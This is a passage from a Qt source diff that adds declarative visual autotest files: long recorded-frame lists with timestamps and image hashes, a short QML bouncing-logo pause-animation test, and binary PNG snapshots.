"a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2720 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2736 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2752 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2768 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2784 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2800 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2816 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2832 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2848 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2864 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2880 + image: "pauseAnimation.2.png" + } + Frame { + msec: 2896 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2912 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2928 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2944 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2960 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2976 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 2992 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3008 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3024 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3040 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3056 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3072 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3088 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3104 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3120 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3136 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3152 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3168 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3184 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3200 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3216 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3232 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3248 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3264 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3280 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3296 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3312 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3328 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3344 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3360 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3376 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3392 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3408 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3424 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3440 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3456 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3472 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3488 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3504 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3520 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3536 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 3552 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 3568 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 3584 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 3600 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 3616 + hash: "e74fe4a6bd92cbe8629c8bc8a870104d" + } + Frame { + msec: 3632 + hash: "e11455d4e23a5a865e222a7aba4ba4f9" + } + Frame { + msec: 3648 + hash: "8757668e56be6449ec375f0b8fed1be3" + } + Frame { + msec: 3664 + hash: "53ae93140252373eaa4d9da73756bd8e" + } + Frame { + msec: 3680 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 3696 + hash: "630d90eef2673a69e8ebc4ef1ba40e81" + } + Frame { + msec: 3712 + hash: "b7208d103b63a936dff8dd8ed224237f" + } + Frame { + msec: 3728 + hash: "1516c3547c7cf64832b3bc7da7c44521" + } + Frame { + msec: 3744 + hash: "49f5d6fd45c195a8d245b7fefc1277ab" + } + Frame { + msec: 3760 + hash: "f5afd9cf8ffe27e9992454b9e68688cb" + } + Frame { + msec: 3776 + hash: "7a4528b000a4ea142d1c77407fa1f581" + } + Frame { + msec: 3792 + hash: "5f18a81707f23d377e81a27c1fc41ce9" + } + Frame { + msec: 3808 + hash: "005acbef952a8ee536e6308a48223e65" + } + Frame { + msec: 3824 + hash: "85c135ef72d3d25658a3663e69ffb7c2" + } + Frame { + msec: 3840 + image: "pauseAnimation.3.png" + } + Frame { + msec: 3856 + hash: "20258f07c613958c32f783466771391a" + } + Frame { + msec: 3872 + hash: "9650fd0364c01b11e4f5dcce51d008af" + } + Frame { + msec: 3888 + hash: "f340cdf60c6d4c29d26b7202a093ec70" + } + Frame { + msec: 3904 + hash: "d754d35d0793f9f7d4f6249a874e4c45" + } + Frame { + msec: 3920 + hash: "79ec710576427df73dd03f39fba6e2eb" + } + Frame { + msec: 3936 + hash: "45281a70021f81dbef30334b1480da1b" + } + Frame { + msec: 3952 + hash: "ffd39c1122fe2f7877ef30591b539b40" + } + Frame { + msec: 3968 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 3984 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 4000 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 4016 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 4032 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 4048 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 4064 + hash: "29ece1bca4d21fb5862091317d430a13" + } + Frame { + msec: 4080 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 4096 + hash: "c1a7b7d6d64ac5584c073c2881290696" + } + Frame { + msec: 4112 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 4128 + hash: "4ac43a03cc6f2020ab5f894d704092ac" + } + Frame { + msec: 4144 + hash: "ffd39c1122fe2f7877ef30591b539b40" + } + Frame { + msec: 4160 + hash: "62a7133012348f2ec3a388fb685ecc3f" + } + Frame { + msec: 4176 + hash: "45281a70021f81dbef30334b1480da1b" + } + Frame { + msec: 4192 + hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" + } + Frame { + msec: 4208 + hash: "79ec710576427df73dd03f39fba6e2eb" + } + Frame { + msec: 4224 + hash: "5be4f5c67941efb6fcea363c79f1e321" + } + Frame { + msec: 4240 + hash: "7d9096b1eb940c82a37baf39ef3ccf3e" + } + Frame { + msec: 4256 + hash: "e87b00bfc2c2a75a4234ec02a057ad3a" + } + Frame { + msec: 4272 + hash: "da60100dc55023c3bab367d97c8f6a85" + } + Frame { + msec: 4288 + hash: "dc98a9bdd99367c1e9b838d4be489dcc" + } + Frame { + msec: 4304 + hash: "b2c778a5eff5f01edc54f03d8b4de8c7" + } + Frame { + msec: 4320 + hash: "9650fd0364c01b11e4f5dcce51d008af" + } + Frame { + msec: 4336 + hash: "2cb09d9655ecc30ae6a591b28c0d355c" + } + Frame { + msec: 4352 + hash: "4db9bc6c11caf1d77794c2eabb62a44e" + } + Frame { + msec: 4368 + hash: "ce2b5dd7418868acf86fea6ad19cc0c5" + } + Frame { + msec: 4384 + hash: "c4f844ee71f23635bb3ec7375f6a134f" + } + Frame { + msec: 4400 + hash: "4e1fda8a0495ef968c1cffb1257426d7" + } + Frame { + msec: 4416 + hash: "19d2ae617a49b57dd012677e2834469c" + } + Frame { + msec: 4432 + hash: "f438e8d2c16b5de677924c8411219b19" + } + Frame { + msec: 4448 + hash: "005acbef952a8ee536e6308a48223e65" + } + Frame { + msec: 4464 + hash: "87b71778d52cd8563d171151d4d32407" + } + Frame { + msec: 4480 + hash: "691cd8bf5c7802ff6c5024827a379fc6" + } + Frame { + msec: 4496 + hash: "ab442c0173c3d221b6782d28001dac77" + } + Frame { + msec: 4512 + hash: "6f886d4538704c2fad4d84c68214109f" + } + Frame { + msec: 4528 + hash: "56d39f233fae41c60499d6161f891cbc" + } + Frame { + msec: 4544 + hash: "95d987c3fd1352fb81c42c63634fe53b" + } + Frame { + msec: 4560 + hash: "96dc84c0c548021910e7c5b580179054" + } + Frame { + msec: 4576 + hash: "ddb71cbd57f6e43744d533d4f72b08db" + } + Frame { + msec: 4592 + hash: "f7ab4b197bea455b22f259913438d207" + } + Frame { + msec: 4608 + hash: "2ad64cb01c9d50e0118d5ece0a644df2" + } + Frame { + msec: 4624 + hash: "6579681c59dd571df0ee4429d74fb5c7" + } + Frame { + msec: 4640 + hash: "630d90eef2673a69e8ebc4ef1ba40e81" + } + Frame { + msec: 4656 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 4672 + hash: "721d7061811b5439c2e8e395917494bc" + } + Frame { + msec: 4688 + hash: "bc426fb7c31751665b0d3f16e2cb0173" + } + Frame { + msec: 4704 + hash: "e11455d4e23a5a865e222a7aba4ba4f9" + } + Frame { + msec: 4720 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 4736 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 4752 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 4768 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 4784 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 4800 + image: "pauseAnimation.4.png" + } + Frame { + msec: 4816 + hash: "f0d8132489c2f2ef760e905b3c093726" + } + Frame { + msec: 4832 + hash: "e11455d4e23a5a865e222a7aba4ba4f9" + } + Frame { + msec: 4848 + hash: "dd60cbaff6f34027474e92315dbc0ebc" + } + Frame { + msec: 4864 + hash: "8757668e56be6449ec375f0b8fed1be3" + } + Frame { + msec: 4880 + hash: "bc426fb7c31751665b0d3f16e2cb0173" + } + Frame { + msec: 4896 + hash: "b3f4a2165ec1ee971542b8ef89656cea" + } + Frame { + msec: 4912 + hash: "53ae93140252373eaa4d9da73756bd8e" + } + Frame { + msec: 4928 + hash: "721d7061811b5439c2e8e395917494bc" + } + Frame { + msec: 4944 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 4960 + hash: "a8b624ebfc9ab713d1ce55f318a6e90d" + } + Frame { + msec: 4976 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 4992 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 5008 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 5024 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 5040 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 5056 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5072 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5088 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5104 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5120 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5136 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5152 + hash: "1373545e43fff7251cec9e8375ea267f" + } + Frame { + msec: 5168 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 5184 + hash: "e553f365912586c6408c8c53b1b7d118" + } + Frame { + msec: 5200 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 5216 + hash: "3db5e30ef19ea693c21ccf72892c4390" + } + Frame { + msec: 5232 + hash: "a88a8129259f86df5a73addc3649ad37" + } + Frame { + msec: 5248 + hash: "a8b624ebfc9ab713d1ce55f318a6e90d" + } + Frame { + msec: 5264 + hash: "af3120fe262d2489c0ed33fbbee1549f" + } + Frame { + msec: 5280 + hash: "721d7061811b5439c2e8e395917494bc" + } + Frame { + msec: 5296 + hash: "53ae93140252373eaa4d9da73756bd8e" + } + Frame { + msec: 5312 + hash: "b3f4a2165ec1ee971542b8ef89656cea" + } + Frame { + msec: 5328 + hash: "0c20d12464abbdc45041ea5d9f2719b1" + } + Frame { + msec: 5344 + hash: "8757668e56be6449ec375f0b8fed1be3" + } + Frame { + msec: 5360 + hash: "ef8941674cb61f54853dc33652bb854e" + } + Frame { + msec: 5376 + hash: "e11455d4e23a5a865e222a7aba4ba4f9" + } + Frame { + msec: 5392 + hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" + } + Frame { + msec: 5408 + hash: "e74fe4a6bd92cbe8629c8bc8a870104d" + } + Frame { + msec: 5424 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5440 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 5456 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 5472 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 5488 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5504 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 5520 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 5536 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 5552 + hash: "ce57e27af329eba4fac3ab891f0407ce" + } + Frame { + msec: 5568 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 5584 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 5600 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5616 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5632 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5648 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5664 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5680 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5696 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5712 + hash: "3042003c067b257de2cb32f650dde693" + } + Frame { + msec: 5728 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 5744 + hash: "a725b59b4947357546bbfc7df3d830af" + } + Frame { + msec: 5760 + image: "pauseAnimation.5.png" + } + Frame { + msec: 5776 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 5792 + hash: "41ba853c3403f68a23e708df82e21c53" + } + Frame { + msec: 5808 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 5824 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5840 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 5856 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5872 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5888 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5904 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5920 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 5936 + hash: "dcf2867c127e041970047ec8f3edc04f" + } + Frame { + msec: 5952 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5968 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 5984 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 6000 + hash: "675ebbdd22dd22ce45993df4af1acfe9" + } + Frame { + msec: 6016 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6032 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6048 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6064 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6080 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6096 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6112 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6128 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6144 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6160 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6176 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6192 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6208 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6224 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6240 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6256 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6272 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6288 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6304 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6320 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6336 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6352 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6368 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 6384 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6400 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } + Frame { + msec: 6416 + hash: "a350b70c5238a340e85fd4a3ec0390a3" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation.qml b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation.qml new file mode 100644 index 0000000..8830170 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pauseAnimation.qml @@ -0,0 +1,36 @@ +import Qt 4.6 + +/* +This test shows a bouncing logo. +When the test starts the logo should be resting at the bottom. It should immediately move +to the top, and then fall down to bounce at the bottom. There should be a pause, and then +one repeat of the sequence. +*/ + +Rectangle { + id: rect + width: 120 + height: 200 + color: "white" + Image { + id: img + source: "pics/qtlogo.png" + x: 60-width/2 + y: 100 + SequentialAnimation on y { + loops: Animation.Infinite + NumberAnimation { + to: 0; duration: 500 + easing.type: "InOutQuad" + } + NumberAnimation { + to: 100 + easing.type: "OutBounce" + duration: 2000 + } + PauseAnimation { + duration: 1000 + } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pics/qtlogo.png b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pics/qtlogo.png new file mode 100644 index 0000000..399bd0b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/pauseAnimation/pics/qtlogo.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.0.png b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.0.png new file mode 100644 index 0000000..64d6b06 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.0.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.1.png b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.1.png new file mode 100644 index 0000000..f7fce15 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.1.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.2.png b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.2.png new file mode 100644 index 0000000..3080df5 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.2.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.qml b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.qml new file mode 100644 index 0000000..7c8c233 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/propertyAction/data/propertyAction.qml @@ -0,0 +1,939 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 32 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 48 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 64 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 80 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 96 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 112 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 128 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 144 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 160 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 176 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 192 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 208 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 224 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 240 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 256 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 272 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 288 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 304 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 320 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 336 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 352 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 368 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 384 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 400 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 416 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 432 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 448 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 464 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 480 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 496 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 512 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 528 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 544 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 560 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 576 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 592 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 608 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 624 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 640 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 656 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 672 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 688 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 704 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 720 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 736 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 752 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 768 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 784 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 800 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 816 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 832 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 848 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 864 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 880 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 896 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 912 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 928 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 944 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 960 + image: "propertyAction.0.png" + } + Frame { + msec: 976 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 992 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1008 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1024 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1040 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1056 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1072 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1088 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1104 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1120 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1136 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1152 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1168 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1184 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1200 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1216 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1232 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1248 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1264 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1280 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1296 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1312 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1328 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1344 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1360 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1376 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1392 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1408 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1424 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1440 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1456 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1472 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1488 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1504 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1520 + hash: "55b713dcb7c810bf126e06cc97d26d24" + } + Frame { + msec: 1536 + hash: 